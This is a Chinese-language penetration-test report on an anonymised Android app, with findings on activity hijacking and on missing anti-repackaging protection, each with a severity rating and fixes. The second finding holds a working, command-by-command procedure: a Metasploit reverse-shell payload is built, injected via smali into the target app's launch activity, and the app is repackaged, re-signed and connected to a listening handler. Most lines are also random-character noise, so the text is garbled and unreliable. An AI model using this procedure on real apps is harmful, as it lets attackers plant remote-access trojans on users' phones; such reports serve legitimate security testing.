& k( h- R% Y7 Y; u4 e+ V1 v2 H, a) U
|, v' p N6 I, ` d
: i( S$ T! X1 y
9 k6 C% m3 e' f( J5 v, A3 L1 W
, j$ d, \& o+ I; ?/ F; o7 s
, U: X3 n5 d: x, { 表1-2 测试结果
" g, c: _8 W8 x- n# R" X) ]
& {* {. W4 M: f: F. D% ^( [
/ y; F$ O |6 z& P% p
, S5 o/ I0 F$ D6 e. X
5 ?/ E9 s" k! J4 f
6 J' i+ L7 c) ^+ w! m' I: \2 S5 p6 }+ I + Y `- U9 U* G4 l" J: H& R O
" s& |8 e: z9 G% H3 N& q( `6 P
# T- Y% \$ ]& }1 G f
: n e, d, h) t. C5 P6 @. S8 ^
9 g2 j: G m4 T l: z; v: K( s! U' y7 X$ N" m
2 检测结果
0 [0 U$ h) M, I' ^ A5 z
9 }4 Y; O1 c- q
' n8 J3 V) M2 {8 _/ k/ x: i
. p- s+ f3 I" j3 n6 e% W
4 e$ \& V) [0 e3 |% @" H) O: `8 {$ n: ?, Y7 [
2.1 某某某
& ~1 c& o0 |' M0 W9 X$ ]' |6 k7 G9 l8 r/ T! Z8 u
2 O& K0 w% C5 k2 ^$ X- R9 G8 S; @ `# H9 r5 s7 `. A- Q, \2 x, T
) ^+ g+ l4 D/ [2 X- F7 i7 h- ^
8 N* @! @1 L9 x& T 2.1.1检测目标 5 ?/ ^& G+ N9 y ?+ u% l5 a" k, x. `) C
( E. Z5 u+ u% ]& c/ t) ?
+ W! x: A* f; E) w% s# U* n1 Q- ]
; L& i$ i2 Z- f9 y- q8 ? 4 {7 N% Y7 K/ S
) R9 I+ t9 J. O& i
目标地址: 某某某某某某APP ( l% L2 C( t' r5 N* O
8 U/ S; m' a. u5 D" b
8 w. z( i+ z$ q" S/ v0 v. t
3 X) Q0 G2 j! `$ s9 v5 N$ k0 B
% P3 F- z. c D
+ r; p `6 R, o; C
2.1.2检测结果 ( j& @8 O/ H' ^0 }( d
! v0 o; a6 ^# y' ^ m
" J0 L& b2 ]4 V. e1 f# Q" |% e4 e
0 p* ~4 ^9 ?. u; t! U. T- r2 M
4 ~0 t& W+ _- X
+ X7 b: Q1 C) J) x# R* U 2.1.2.1
7 f- H5 k8 Z* i3 `! ?" G" M
, o6 }( g9 O( G6 Q! w
9 P4 _& J9 M' ?" j0 b9 n/ ~
& C) M( {- u8 |! H+ X5 Z
9 |2 [5 v# q/ a& m
8 |& _* t C: s/ Z7 L 漏洞链接地址:某某某某某某APP
6 a, N# ? p) d2 a! _: r/ g# G0 A5 q# {. t' D# Q) m) Q; j
5 j' D* u7 U0 \) V9 v
2 n' c5 A( Q' z2 _' K9 _2 F1 ?
! A& y4 w. X! b) i/ B
6 _! H) [2 U$ {7 a
3 S7 I G: w# D' o9 c; u4 r3 C7 H! v5 J! a" v4 k( \
: `6 x2 f* H |. D% V! j" t3 L0 Y/ ]. x B) y
2 E( F( l0 P) f; e& P
8 l. }( j2 ~3 I8 U4 c) Y' M 漏洞分析及取证:
8 P' D- o1 h+ t6 M
; p' O" s6 \( }
u: h# ?' `, D0 N% U& j
7 E/ _9 @3 h0 F( e! F
3 s1 b4 ]' [5 Y6 U3 Q" z# f4 n
7 v+ \, _9 ?$ ]3 \9 f2 A 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
" ]2 t/ V$ s3 Q7 d! B% X3 ]7 i* Y! {+ _/ ?) G" ?
) v( M) @) L: v3 t' ^. s" P+ Q/ U8 R4 ]4 r4 ]' C
+ q \9 l+ n, i6 m
" e9 d0 m2 P) N* F + z7 \+ J8 m3 H f: a
1 z% t8 h+ g' w/ v9 H; J
. [& j0 o" V+ V) R5 e
1 i3 r! Y/ M, p- O3 r, L7 e$ S/ @* ? - d) o9 P) o# k1 O5 C7 a# T* W
( j* D( M* a) ~* Q' I# M
, X* F" P! {5 c, {+ w% B1 P2 t, H E, P! `% [
2 L$ V/ p/ g2 e' E
0 R3 i: [4 x/ }; a$ i7 H
- \ O3 Z6 Y- Z- G$ O8 q2 T
/ x: d# X, p2 U! ~3 o5 R8 e
2 O% `' \6 _$ s5 L3 B) B2 f/ j E! @& c2 N- J: Z: t) o
+ n6 }6 x- e$ j: t+ F, q
/ E% P5 q9 q9 w9 J8 V3 J$ h, z3 X
0 d7 [6 O0 t; t4 |9 w5 U6 B1 \. {9 A2 D6 C
6 O R, L# M* J- x3 u) x
, T9 o! h4 I, f
; U" `& w0 A" b* U
. ]7 D* T5 t) d( z" _) `
! f8 D% U# x0 u( X+ _
+ j8 r( A! O3 I9 ?$ f R 2 k: n3 X7 B7 O9 P/ F5 e
5 @ _) T! |! W" y1 t1 [- \
7 v$ E) E) n, H$ A! }0 Z0 D- r
$ h( ~. E" P; e8 S3 b& S + D$ d9 k; H) u9 j( G
) r6 v5 t& O, L' g5 |
漏洞危害:高
3 |" U% U$ ]" F" l
+ e4 ?* x& T! r6 f& t( |
! E( J2 n* C. [- Z3 e' v+ {
! z1 e9 L2 X9 H
; L4 F+ ]3 k' [6 Y7 {
! c: Y8 \& Y# I! p
) w- a* T+ C& `9 n; o
( f) _9 t3 i) B7 U( G 5 F" j% j9 {2 K- K+ L
% [+ Z5 W7 v* [" _0 L ; K- e" z9 B) H* t+ U% j% m
1 e7 p& g. e3 F5 c7 L! E4 \( h + V8 i3 k; W+ X: \
. E, H& {& U$ ]& |) t* G4 }+ V- Q ( g$ a4 @, t& H
0 z( h" V8 F, K5 o* E: Q 严重程度
+ o6 Q3 ]" c, u [( R
) X/ N. W$ Z7 a6 n % a: D# g; L* {& n/ U4 _
# p. f4 P! J" W0 x& x% [9 U | V( D. b: ~4 M6 B. k/ k
8 S- C6 e2 K/ {6 u m0 G% J
- ]: N) {. a/ ^0 y. j4 j
5 ^3 [0 m9 ?% K( u6 U
, C4 P$ Q6 l$ z7 j: l! ?: Q0 c9 ~! k/ M! E
高 ' i0 {- K; V' P# C+ J
6 V5 [( `1 j; I) N
& |0 R( p; Z! A3 E7 k) g
5 ?* w3 z0 b6 ]( x$ P1 i2 A7 o |
( d& o* o- J3 O
& c8 a8 g. l5 V" Y; y
4 c) W8 f" y2 I& R" f& Y- v: N/ n, z) M: S" c
) ]$ N9 w1 M. b/ t' q
+ d1 k q+ C9 l B& ?( v3 W ■ s1 }4 u5 {, q7 H; {0 ?
$ K3 {$ q8 _' F. k- K' c8 R
2 X/ w j5 [+ V+ Z' }2 d0 u+ a7 A4 U, I% O2 C2 i( r
|
1 T0 e: ?% E, ]% m1 q: h' M8 U! t: P _* h4 w; h( n
! f6 U5 R; a7 R/ |2 k* b% ~4 W
, y Q8 ?4 C9 s, \1 q/ d& I 8 w! @" q) z% O% \5 f
Q7 I- ?9 n4 _ J4 H# I
中
8 m4 C; m4 \0 w. k8 ?
0 \7 d3 i3 s: I2 i+ W7 u
& l- n' B5 @( R8 r& I" W1 i+ B M) c0 o! {
| ' H5 W" j0 O, q P8 |5 h+ d7 J
s% \8 i6 r) H3 S1 X& z
4 l% M( I. P6 s( L; i
! y" K/ D. G5 k S
- t. m; k$ f% Y/ M
! ]# _. T; ]- d* X4 Y / x8 o) u: f% L# o8 N
0 O+ [' Y+ T! j7 {7 l
' T) f3 s* p% a
) F! y- w5 x2 x8 G | 4 F3 P7 Y- T7 V, ~% b! j+ K' L$ W/ k
' Q3 }6 j$ s" w6 y+ }7 x4 {; p
! z4 f1 _. \% G# q5 B( A2 h# m
2 H) i' ? e" i3 b2 D
- r# g6 U; K! @1 r" |1 [4 W
低 1 l2 G' ^+ F, k; S0 o8 b
/ d, P" F7 ~" l1 W% F
; V. p" s2 y% A" U5 j0 f
% V1 t! M( A2 j& p5 V; T ~$ R | ! U8 [) u C' }& \; ~$ K- O
: d V; V( T- Q1 b- f* T* R/ z- g( d
4 X3 A" S: a, _0 Y/ T: T4 H- R5 P( h- {% O7 U
5 {9 j2 a% ~4 j0 _1 ~! J) R7 K3 r
/ C& A0 W' L' f , U. ?! n2 d- b$ t I
s7 I% b( i: Q% s# j! `/ f
3 I: }1 @5 }6 o- W2 u& ]' ]6 B) j# B, B* x7 `% X2 n
| - @0 p2 l& }) U" T. _( q
7 M. c- x$ w8 _# _$ k/ F6 ?$ l1 r
& E g5 V3 ]/ N
/ }6 f! O7 J+ ~ 1 d* I" B7 f9 E6 [( {: j5 ~( y
7 l! @* A% w" _1 k; h4 K1 T
* e n: s( X4 v/ c( b7 p: R
" Z. I" ~- w5 T" |. N. ~$ L- b9 `
! r' ~- a5 Y6 Y7 k8 _2 A/ d1 s7 c9 ~: V; P' n. c
5 I# X6 ~9 L2 k! Z
2 C1 T' \2 b9 ?
7 ~/ X/ s& E3 P" K" C
5 a# L! C' I0 d( B' U. D
# ~) U4 t3 [0 M* I' K5 C1 x9 J
5 o4 N8 ^% C* A } ) z' ~' V( j* y: j
; |* {; u6 _# M% q 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
; y; @! p7 L" b i! K# Y: {: u9 N0 O7 T6 h8 b7 }( [$ z
1 P) X1 p1 d& V9 \& X% e* l$ ]7 X5 e @
& x" {6 s: a6 ?; U D. l
r; _$ d C, S( e' C: G, g - r7 c1 c1 |6 o; m2 F& b/ G5 `
/ W/ i. K5 |$ G' i' @& z
" O' r& L( E7 [! f2 R) F
& p2 A0 _: O+ W7 J
* B" s+ d2 V. J" O/ _: m( V! x o8 W1 |6 H
4 P; ?- a/ t/ o" T. v/ g
7 S! B* [0 O; _: h. t
. X9 [/ D/ Z4 G. g: p4 ?* O9 s$ w0 ?" {- b |& Z4 w+ `3 k( ~- P
9 X6 r9 _( d+ z5 X2 Q* V" \
+ e# ^) d1 q; T) S; u 2.1.2.2
# G+ N. U5 V. j( H% P; R$ Q4 X7 ?2 R4 d2 K) h# I
1 f' m% G7 h1 y8 u# ?0 @. q" q) X2 ?2 w; f" N% Y/ b% n) {% F9 P
; w( e& S v4 n0 ?* h
; o8 }: ~5 @% @4 q7 O 漏洞链接地址:某某某某某某APP
. ]+ S# C! u! o) D4 B ~' i3 n& R) c" ~ z" Z8 ?
, `) m: y* F7 w! c+ L8 a9 L1 X
8 X. {5 l! p) M( s ( ~( S J+ `3 W4 L7 j: u
/ _. {5 m& c0 Q& I 漏洞分析及取证:
% [3 N6 j; X' M' y5 }' K+ r
2 F: e" |% R1 e
# ~, `' u+ M0 o) j
9 z: \' S4 f; l1 S
) S( f$ a6 ^& X% W+ ^2 n' g: h
: F! {* g0 X) {+ O# r m 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: # ^5 a# T9 g1 w( |9 W: a
+ F* X- ~' K0 m4 |
/ f/ S( ~( W- j" \$ U" u, V' x+ Z* U# `
5 Z: U' a1 c- z8 o: g. I& c
4 U* k3 ? Z% `# y, l/ U 用Metasploit 生成木马 apk
0 u2 u8 v# |4 R; r* h6 W) |( Y$ s$ a
4 z+ ?; t. F4 ?, m
0 ^1 B3 Y+ ^( \9 o' n
! [: e, d1 c/ c" @5 {/ F
' c% a F0 }0 J- J9 X
0 e* v; U7 @5 [3 s9 M
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 3 ?3 ~! ~( Z% J
/ N' k) s" E1 ]: I/ u* @7 E7 F
' u+ _ G# K% t. R+ V' h2 k2 V
3 J. D9 t. c% Y9 c% J8 I
- S& B, ~8 |3 ]& Q! ~2 S" }
& M6 C1 o' P, e- }) {/ d. ~7 J 反编译目标apk和木马apk * B" }( y% [/ k8 e! r( s; k
9 b. O& N% {+ C2 k# }" J
( {3 O. K/ X6 j! U8 Z! E
4 O2 d- V" C+ H- n
0 R; A4 [) n1 _& `1 x! G; t) }
/ V4 ?$ Y9 ?' t apktool d target.apk
. o3 g( m7 |! v0 r! a, ?& T+ H: _* v7 k
apktool d cockhorse.apk
% T# z2 p6 J" V# _
! x. z9 @: b1 ^; w' d6 ?6 w6 f
, I! Q! p# m/ \5 K9 G0 k' o; q3 p
' |# s* R9 P6 | [4 @ 3 [$ d. M( o( V5 Q
, R: \0 L) Z1 ^0 |# Y 木马 apk 注入目标 apk
% {0 e6 ^2 `0 l$ K5 C' ]& ^% |# _. \/ b( D) _8 w& j2 P
2 o3 ]( w1 E3 G3 s
: i. i/ u. g# F% J. v
0 ]( `' P' ?% C9 i" G4 d5 l: q! D. H2 C# u) V, s9 k
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
0 n& @3 N4 ?6 E% S
: T i" r5 S S/ _: C4 X9 G" X2 n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 0 ^1 S2 W! v) Q* J% `1 f
- F# |, X) [9 m& |3 Y6 O
3 W% H3 V& L* b T8 N# J5 N
2 K0 F+ i! U a* t7 X6 l2 J+ Z % A# V0 l2 s/ m4 n) M; g4 l" r1 H
2 P! H, ?6 ~7 @7 h- K3 z6 V 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
. Y, o7 M4 m0 L. s. K! p; A- A o* T. H- I x( c( \
4 j# K9 l# _( f/ i8 Z& J
: l( P% }( i) G0 F6 c
% p) G& _3 I+ q7 d! Q t! h7 ~9 C- l
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
' {) [" ?9 h( F+ n! |" r: F a! V; J4 K9 }
9 b" M& C+ S9 C' Z
# |! B' {- L* c9 m4 q; ]- B; z2 J G0 A4 M" r F8 x
3 \) X# I. S5 o/ e. ?. S 回编译生成最终 apk
6 w# C% y2 {" |5 N( ~ C E6 @- P7 e! R/ ~2 G
" x( {1 p# C9 n/ A. H) l7 \
& T! c4 b% y/ s8 S- T' R ; q8 u6 j Q" b
1 p/ F2 r& `' I- P/ V/ I% K
重新打包 - {( {6 z: H& B5 K4 z- |. ^$ V6 l
# V/ o3 c5 S/ |
/ G% }: o3 c" P, G0 R$ m, y( {& k
$ g$ @* _' |8 e2 }# [1 Q
$ y" U# a$ ?8 F' ?( E
7 @7 H% k- Y$ [# `) O
apktool b -o repackage.apk target_app_floder ) E! V" |7 ^, p: |
. K$ ~7 p/ o' ]$ H h% N2 K& b
: S$ X; H) ?& L8 U+ K' E0 k( O7 e9 |4 v1 W( P' K# Z4 K3 p
3 C; v! M a. u$ \, K
" T" y( }8 K7 b) q1 }2 _ 创建签名文件,有的话可忽略此步骤
; R8 Y' w7 e# J5 s
* X% S3 m# V4 c! W1 p# c5 P
4 ? U- E! A. u( N3 |0 Z$ ]
% t4 g& ^5 i' r/ ]
5 k" P/ F9 ]) Y3 T: Q- v
) N" r7 Y! o& ]$ ~; o keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 - q# {* Y: M/ b0 S+ m
; K. l2 D# {2 b5 Y/ ]! j
7 o: X* t+ J9 k1 F8 @
" W0 J" f1 f) E" C- R
6 a: C `/ p: V" q" d
- x( L( f/ N- g# s 签名,以下任选其一 ( _% S' k0 B( K: G5 ]
* n' t" @1 w7 e3 {' Q7 N( r
3 U% Z& g1 k: }0 ]% Q$ U# S4 i2 P1 L1 p2 I
" \2 Z9 B* K$ K5 Q# b
4 e4 u. j- N+ T4 d5 z. f/ z% Y jarsigner 方式 / C# z, S, X4 T( _2 d
, P _$ X# {, I7 x" d G: l. d2 U
/ p1 ]3 E1 u( _* o+ N' t6 o2 X5 v9 H. ~: V# ?, F* Z- s
' e& O2 ` m4 q1 f( Z1 G
- o5 ~: t- h( {8 H- k jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
) {, R+ Q& w" B0 ~# [9 E6 u0 M1 _
9 f$ i) V( w l3 \' G3 B# W1 k) x
7 Y, a9 ~ C& R) a- K8 [* B& N+ G) G! U7 S
4 X8 B7 {1 h7 c/ @9 J& a# h2 V1 [# b4 j: U
apksigner 方式
) i! X4 ]8 Y- j( H
+ x: w! W: K0 o# i+ m1 y6 m2 k
! X7 }& @) R* t3 s5 w. Z
- F5 L; g! _) a* N6 l$ d% D5 {. E; z( X 0 o/ A! `, P- ]
/ b z& j* W7 ~0 s+ M apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 3 O& \, E% t# Y& ?3 e1 J5 j% E! u: l2 E
6 G: T. e6 F& G, t3 v; j. T; {
/ k$ v7 Y' I. w: k- T1 h7 T
3 [$ v8 }. O0 ]1 Q
9 c$ j& e: u% b' o1 V# y
3 _" q! q% x2 t( f$ ~) q 如需要禁用 v2签名 添加选项--v2-signing-enabled false
# h9 a. C5 E; a+ b# J3 k: I& [$ J" n% y
: ]4 Q; N: e0 H
/ z: m2 T$ j6 r4 c
( E: ?0 j. k& ~% h3 ?! X
+ e) N$ g6 N4 d6 B e
验证,以下任选其一
/ N+ O7 ^; ~( O5 K
6 C6 \( _5 D0 I, o0 P$ G
' f( k' s+ t) A, L4 d
& ]* _! S9 S" b) ^- T
6 j' ?3 K+ k ?3 R8 S5 Q
1 _$ _. R1 \7 N& i- d1 m) A jarsigner方式
0 e& Q5 |# @1 d/ L% X- S6 E- V: n, @$ X
# {. _! C& U4 g$ q) w! ^5 w
2 U6 M. [: w: E h2 }! ]8 i& p3 ~ ' E% ~$ F5 c7 }/ ?& J4 @
4 y7 J( }2 f5 A% g
jarsigner -verify repackaged.apk 9 [" I. i* G! ?7 Z
# i9 C% ~# C6 s. N* X9 k
0 {6 M+ v$ B4 x+ _3 N: }: F$ H/ o
8 u y, t. X$ j0 T5 T! S6 } & E o( s$ P* P3 a+ l) i2 N
) |6 h6 h1 g# n2 A% E$ E
apksigner 方式 ! f+ {( g2 ]) e) \4 G9 o `) s8 ]
, A4 l3 Z4 J8 p
1 ^* e3 a6 ^1 w! g3 w, @: F6 m, m4 J8 O, B+ K
. I3 z* J2 X; ]: f0 q
4 v4 s; I6 P1 s. E9 _- R! I0 X
apksigner verify -v --print-certs repackaged.apk
: D! c& r7 w, \ ?0 ^8 C2 {7 H. J& F! q C( t6 N
2 G. `) J4 @1 D" ?% ^7 S7 B
9 j( K: G5 g3 T) W1 j5 U , I) Z' e5 N% o# [8 ~& D: ~
' C$ g, b1 y5 Z keytool方式
) g- ~# v$ I1 Y$ o
m! M; o5 Z' ?+ {1 C
6 g+ a6 A& \4 a6 ^ i# ]
( _9 w4 N# O) q% K E& X4 q
$ I/ d2 v$ |# j& [: B+ f5 G- X' N! x, E# G' C
keytool -printcert -jarfile repackaged.apk
# b" t4 e$ K& ~ Q" `9 n
5 W7 y4 a" W& }" \0 W
( e# F; c+ Z% r8 Y6 I% X+ N0 Z
- H l4 G' w" u4 \0 i: B/ J
7 n |/ C+ w; T( t! |1 Z% f
9 U0 m, u7 x; ]7 \" m5 U9 ?8 G 对齐 4 E* z Q6 y$ B$ h0 |
7 x- V* v" Q: O, |3 a4 Y
5 b, } Y* O: ]2 w7 z, \
4 D3 j: d6 m) G: ?" b9 k
. B. G2 G' z. Q, }- h- D( n
- V2 D# Z8 h- V* U$ x- u4 G
字节对齐优化 $ I# J% U# ]/ F F( G5 Y& h
7 M% R7 Z3 I2 p; \: G! G
7 p: E7 {$ D% V$ w8 t( t3 p/ M
. u8 \3 d/ E/ u0 Z1 v& l. N
" |/ ~+ _8 u3 j8 T% V
$ K9 L2 S* g6 z. q) k zipalign -v 4 repackaged.apk final.apk
7 q) ~( d, }3 Z1 x7 C
" A6 e8 M7 G1 r# n' ~% x6 J; O
! m' e$ O L& ?* Z3 ] ^* o- i- ~2 y1 g
7 N9 Z5 O% u) |
( X" l* O% R9 [8 T6 B g" { 检查是否对齐
# }3 g \1 Z/ m5 G
' Y; B, [6 H1 [& ^8 @7 I
1 l( ~, h! A6 J, _+ ]$ X& Y/ O0 F1 V: k. J: J
$ n o) ]+ y* B+ H/ b
; p* I4 o8 Z; h zipalign -c -v 4 final.apk + b9 d' b$ Y' Z& U3 I1 `, p7 c/ e' ^
7 O7 ?* B) A- c
( }' K. H) v1 O+ f$ ?8 J
. w0 Y' E1 Q' Z. _; t9 w- I p; } 6 M0 J7 _- \$ N0 j, _
5 k+ i+ Y0 P z# q
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
+ d6 J+ c* f b: o8 Z0 ], z1 H
; \* u# i Q3 H
' r, k# M1 a( Q X* }! h; b, y& f8 _$ z% a5 [! Q% X3 q! ~& O# K
1 O" u6 a. l& D, W
+ Z, d+ D; n" r! k, I: j( E9 A 启动Metasploit控制台,配置参数等待上线 3 {( r6 g/ e# j4 Z1 l0 O
; P* L; Z9 U: U* L" \! A1 ]3 Y
, I5 N$ S* f3 u& M6 T2 v0 s$ m
; n' a$ b# Z9 |4 m* ~* o9 w5 y, H( g 7 Z3 Y. x2 V2 G
& f$ {" a e+ f8 F 在终端依次输入如下命令
2 D# z9 o- z" m5 ?* K8 Z4 C
5 h* q& q# I8 h- w4 G: m
$ r6 V: a3 |& Z; W
6 t, Q x1 T8 z( Q5 R
3 g9 h1 `! Z( a y5 j2 y- Y8 N4 O( p- [6 }9 E: M
msfconsole
' g4 l$ }1 n% A" u( V! s7 t- I
# s/ n3 J7 X% U1 m2 {4 Q* y
, S0 x% v0 _9 S% \% L" Z
2 I! m4 {1 M$ y3 z- M! M
7 n. ?+ R e( E# `" L4 @# z, q
0 I; E2 S) d I s6 v use exploit/multi/handler
: h. h, |: r3 i3 Z# }3 }( K" p1 b6 t, G* |+ A* o
& L, {3 \! B( f
* {5 f! ?" }3 h% i9 C7 j
' t2 s* k$ B3 j$ G5 g$ [
7 |; |! \- o# j1 o$ H: b set PAYLOAD android/meterpreter/reverse_tcp : J% H7 U) H5 ~' T
6 ~ G& _4 o* W0 O
+ V! Q4 d3 [8 L' M* i6 V
+ S) U; F( w; s4 r* y% w1 c
- }. T) u6 G. D& k. ~6 E/ Y- ~6 N
set LHOST 192.xxx.xx.xx 7 |$ R6 `" L* F0 ?
4 `) C6 R3 ?3 X3 z- F
, j4 I1 S4 x9 B
* r, p9 `/ C3 v; L6 K
0 `% G0 y% ]/ g0 ^% u
- F$ ~4 v- [: T! o2 d set LPORT 4444 . p' T7 C, A6 `! Q* q8 L
, S9 @! A$ Q" f2 s
7 d/ V: F: H8 V+ m2 `6 I; b9 H
k |' G# ?( ^: j3 F! E7 B& y
+ w/ ]- J2 j; M% o4 D" }* ^- `
7 h9 D/ t, e$ o- Z1 `. H: ~) N
exploit
1 c0 f6 C/ R5 I6 T+ }* g
9 o+ e, n" p9 [6 q1 s+ s( Y
3 s/ O# A1 z& Y- O# s* B
3 w3 x( R1 A9 x! }3 D
. N4 J. q& f# }7 N2 A
9 J7 x! x& M1 R: I. J 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
1 c/ ~- n' Z' f& u1 ?: ^, G' \3 x" x) K! s' i9 c9 ~+ D7 Y
% G( ]; l' y( F% a. R
: N8 x' `4 T' ]! \% }3 P, d4 b6 e
% m( p- z" y3 a6 v% R2 ]' `! {% w1 E
漏洞危害:中
( }. ` P! T. Y$ c1 X- S8 D! E3 V: r4 S) m E3 x
$ ?6 N7 B3 _8 j$ t# w( x- _& ^
. R9 V; h- y0 |0 Y/ e 0 x* z; G( z/ z5 l3 j
; B2 q, W* \( A' U
1 @& W7 ?% E, q9 s8 S% J
2 Q1 I5 A4 Y; B. ?+ f# e
3 e# d9 N1 F% Z3 Z: R0 u
4 L+ R' }: P$ l+ x/ ^ i! G8 K" K% I+ p7 T9 y9 C
9 U6 m! W. s) `3 [7 h* H
. K) c( L' k" P& p4 g* w
) r0 o( v' P+ k1 N7 Z6 t 8 |: S! |0 Y. O( ^3 y! ]: [
, W4 }+ K& O. `
, G5 J+ d P) N2 U) m6 h' O/ f
0 T9 I+ s) V% ^: R2 {* @ 严重程度 6 t- O$ `5 }( W+ m
2 e3 [4 @1 z3 B, e
' m1 N- D1 i( u% r" e- |1 \5 E r% ~/ B! E) j. m; F% v
| / c; N: d8 |' @
9 M* S" O6 G Y H
$ t$ O- n/ B* w4 m: y1 r8 {( ?( h, y& g( g7 t" r' T6 H: F) V/ k. z
. F; p9 o+ ^' @, m" r7 @
" B: A8 W( z7 R3 G9 a' c s% y1 c/ i3 Y
高 5 Z6 j6 J1 X5 @ W
6 ^) m% b' p- |+ ?: ?6 j
4 K$ c; I; i8 T1 P0 R* I5 K
- a% t/ W7 a/ V! Z
|
3 v0 y; E7 L- T4 k: P3 K" ^% r6 j! o$ }+ r4 d# N5 W
+ P+ A% F9 b5 l3 [; y
8 d$ c ~5 f2 @$ [ 2 j8 N/ p. R. V b2 |" O5 P* a
( Y z* G( G9 b% }
■ : j* X. I9 R/ `4 }7 |! w1 m
F) |: S) H! _6 Q \3 m& p
+ I6 t( p5 e( ]* T% P$ j7 Q3 a1 P; w8 M
| 0 `' h7 ^" e3 U+ j* l
- N% i& W1 }+ u9 Y! n 6 W7 I0 W: }8 ]4 Z- Y+ s1 ?
H3 H. J; U1 }$ c( g / O' r% t9 Z; I
, B2 E. v& U4 \
中 0 D& N. R' ^, n6 I0 z" o: h5 F
7 ~* F& F0 H. [9 ]) H; V- m
: n1 a1 K8 M1 U+ I& S8 ~* d% @) q/ m q9 K
; _7 ^$ k/ Q! B0 V% E5 T' Y0 h
|
9 D; S& w R: d* Q* {; E# y; ]5 E( ]4 Q2 l* J6 C
+ e8 h/ G9 S( r0 q+ o0 y+ d6 P9 Q3 M- w/ {' `7 c& h
8 p, O5 g1 j$ }6 b2 K' @1 X6 ^& n$ t6 G% I' M* _) o& j5 Q
5 G" H) o2 Q* G
8 {) ~$ A$ Y, N; ^2 H8 N5 Y5 G) c
/ T9 l* L1 e6 F' W1 {: d
. z! `# Y5 F! k* g X1 n
7 T. g) b9 ?6 T7 y: k/ M* }" _8 e6 Q
| : x0 q f9 a' Q. x1 I# \% Q
7 m! A' ~3 o+ q9 A3 C& Q
: F: r* u% K/ z, E
' O: ~8 t4 L; o3 \* p( ]4 S7 W& }
9 N$ u! W" _0 Q4 \, f
4 t. v& I3 d: O7 W$ r$ Y( u 低 1 e) z' y4 Q5 }$ E/ f& H
1 Q+ E. S6 n- c8 u! \1 L+ M
1 s* \6 L0 k- R! v7 P" y2 u* f
" a4 P! M7 D6 H+ u
| ; M: E* V: F9 V4 S- `
_3 N5 x7 ] W# n2 ^
9 \! y3 D( a. w% X, ^6 P
# I0 F: K0 d, c& l' F# P2 t' n 1 I: N2 o9 L, R1 l m& J
% [- V9 |9 P& p% i. v
# D+ e" N/ p$ D3 @) f
. ?7 U" Z$ b% C& w + A% H7 h" T5 V5 f
8 d z, r5 \! D4 @) u 3 @9 u7 u4 l1 k8 f" t( g
1 c$ Y$ o! o7 v, ]8 j p' n$ z
| ) c8 Z9 S2 C1 N' C7 K0 l6 \
?8 z8 _' r, s3 G. B% g
8 c! y$ A/ u& c8 r- ^5 a
7 X$ f# G. X4 q3 r0 M6 f
9 X& q3 b- A: ?/ n0 u5 [7 K# ?; I) p9 x( V# h# x
2 k3 [0 _# c; T/ k
: }# D+ p x% V+ J. K. Q
6 V% K: u! K0 D$ j. s+ A) \1 `) L7 r2 ~) C: j
8 l& Q, Z) W8 D3 y, I! m1 v
; _+ x9 C% ?8 S; N5 [' C! ?
0 a) \ e3 ?, T9 D: h/ s) W' W! J8 G4 n. p. L
, j! w7 t" w4 E4 j+ h) ]9 e' d3 m6 B; y
& }* U, j: p! M I) L& ^
1 z. ^' X: k' j+ { 修复方法: - k7 X& ~% r" j
3 `' g( x, R& P6 U
: l6 F1 m: k* N' R) H* D3 ?
$ S" _. G; t; g* o6 l% }
- i5 Z* n6 [: P0 z
) r, l2 d, U$ ~8 j' u7 d 1.在 APP 启动时应做签名校验防止二次打包。
' z; G+ P2 ?5 B* Q7 W- C- v0 r' k4 \
% z J5 x/ {' x- W
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
: ^9 _7 f. m+ O. _# b! G
7 m ]* T) a0 P' _" M; o# o( b
& w* f8 n- O' y ]9 ~, R
) M0 I' z: L; z; B" x1 ? , Y, |$ B. v, q6 d+ a7 o2 _
/ D" g5 o1 }% Q+ V+ K9 ?$ V
6 a) f+ U9 A3 F. b( B( V) g `
m6 X' g; M _* i0 ^+ Z
& j+ _3 N0 H# _8 f2 r8 s! g8 J- t6 r6 h+ }
& z2 k4 g. c( K1 I) |6 u# V+ x$ Z
7 m" p' [. W# ^( g& B, L- u" `6 n
7 K4 P9 }7 z8 Q0 P
( K' T, R/ p1 ?$ q" l: f; {
2 d4 p) r k0 S
7 q( b# O/ u( J3 ]# V
2 B5 H8 Q( S5 I2 R
% `. I9 R1 j+ V
4 E4 C5 B! {- T9 t
% N* M1 b% J. u